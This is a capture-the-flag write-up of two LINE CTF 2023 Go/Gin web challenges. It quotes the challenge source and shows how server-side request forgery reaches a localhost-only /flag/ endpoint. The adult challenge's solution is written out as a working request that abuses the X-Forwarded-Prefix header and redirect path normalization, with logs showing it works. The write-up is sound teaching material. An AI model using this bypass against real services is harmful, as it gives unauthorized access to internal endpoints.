Line CTF 2023 Write Up
2023-03-26 09:00:53

These two challenges require reading flag in the /flag/ path via SSRF.


(Web) Baby Simple Gocurl

1
n.startsWith("https://") || n.startsWith("http://") ? window.open(n, "_self") : r.router.set(a.redirect_link ? n : "/portal")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
r.GET("/flag/", func(c *gin.Context) {
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]

log.Println("[+] IP : " + reqIP)
if reqIP == "127.0.0.1" {
c.JSON(http.StatusOK, gin.H{
"message": flag,
})
return
}

c.JSON(http.StatusBadRequest, gin.H{
"message": "You are a Guest, This is only for Host",
})
})

first, to read the Flag, a request must be made using the 127.0.0.1 IP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
r.GET("/curl/", func(c *gin.Context) {
client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return redirectChecker(req, via)
},
}

reqUrl := strings.ToLower(c.Query("url"))
reqHeaderKey := c.Query("header_key")
reqHeaderValue := c.Query("header_value")
reqIP := strings.Split(c.Request.RemoteAddr, ":")[0]
fmt.Println("[+] " + reqUrl + ", " + reqIP + ", " + reqHeaderKey + ", " + reqHeaderValue)

if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}

req, err := http.NewRequest("GET", reqUrl, nil)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}

if reqHeaderKey != "" || reqHeaderValue != "" {
req.Header.Set(reqHeaderKey, reqHeaderValue)
}

resp, err := client.Do(req)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}

defer resp.Body.Close()

bodyText, err := ioutil.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}
statusText := resp.Status

c.JSON(http.StatusOK, gin.H{
"body": string(bodyText),
"status": statusText,
})
})

in this challenge, we can use the http module to send a request to the desired web service and get the response value.

Get the parameter values of url, header_key, and header_value from the parameters received from the user.

1
2
3
4
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%")) {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}

but this challenge has a validation process as above. The IP of the user we currently delivered must be 127.0.0.1, and the characters flag, curl, % must not be included in the url value we sent.

1
if c.ClientIP() != "127.0.0.1" && (strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%"))

oops but the conditional statement is a bit weird. we can bypass this by making it operate like false && true.

1
2
3
4
5
6
7
// https://github.com/gin-gonic/gin/blob/457fabd7e14f36ca1b5f302f7247efeb4690e49c/context.go#L768

// ClientIP implements one best effort algorithm to return the real client IP.
// It calls c.RemoteIP() under the hood, to check if the remote IP is a trusted proxy or not.
// If it is it will then try to parse the headers defined in Engine.RemoteIPHeaders (defaulting to [X-Forwarded-For, X-Real-Ip]).
// If the headers are not syntactically valid OR the remote IP does not correspond to a trusted proxy,
// the remote IP (coming from Request.RemoteAddr) is returned.

There is a comment as above in the part where the ClientIP() function is defined.


(Web) Adult Simple Gocurl

1
2
3
4
if strings.Contains(reqUrl, "flag") || strings.Contains(reqUrl, "curl") || strings.Contains(reqUrl, "%") {
c.JSON(http.StatusBadRequest, gin.H{"message": "Something wrong"})
return
}

all the code in this challenge is the same as baby. but the difference is the conditional statement above. we can’t bypass the conditional now

1
2
3
if reqHeaderKey != "" || reqHeaderValue != "" {
req.Header.Set(reqHeaderKey, reqHeaderValue)
}

But we can add any HTTP headers we want using header append logic

1
2
3
4
5
6
7
8
9
10
11
12
=> https://issues.redhat.com/browse/UNDERTOW-990?workflowName=GIT+Pull+Request+workflow+&stepId=5

For request which is redirected to index.html:
$ curl -I -X GET --header "X-Forwarded-Prefix: /test-service" "http://localhost:8624/docs"

Current result is:
HTTP/1.1 302 Found
Location: http://localhost:8624/docs/index.html

but should be:
HTTP/1.1 302 Found
Location: http://localhost:8624/test-service/docs/index.html

Let’s see the above before the exploit. we can see that it sets the X-Forwarded-Prefix: /test-service header when requesting /docs. as a result, the location to be redirected normally is /docs/index.html, but it is redirected to /test-service/docs/index.html.

in other words, if we send a request to a place that returns a 302 response and send the X-Forwarded-Prefix header together, we can send the request to the desired path.

1
2
3
[GIN-debug] redirecting request 301: / --> /
[GIN] 2023/03/26 - 13:27:32 | 200 | 1.877625ms | 127.0.0.1 | GET "/"
[GIN] 2023/03/26 - 13:27:32 | 200 | 3.854083ms | 127.0.0.1 | GET "/curl/?url=http://127.0.0.1:8080//"

if we send a request to http://127.0.0.1:8080//, we can see a 302 redirect back to the normalized path after normalizing the path. we figured out how to send a request to a place with a redirect response.

1
2
3
4
[GIN-debug] redirecting request 301: /flag// --> /flag//
2023/03/26 13:29:25 [+] IP : 127.0.0.1
[GIN] 2023/03/26 - 13:29:25 | 200 | 41.625µs | 127.0.0.1 | GET "/flag/"
[GIN] 2023/03/26 - 13:29:25 | 200 | 980.917µs | 127.0.0.1 | GET "/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag"

if we send a request like http://localhost:8080/curl/?url=http://127.0.0.1:8080//&header_key=X-Forwarded-Prefix&header_value=/flag, the redirect is executed. We can see that during this process we normalize the path using the X-Forwarded-Prefix header and send the request to /flag/.

Prev
2023-03-26 09:00:53
Next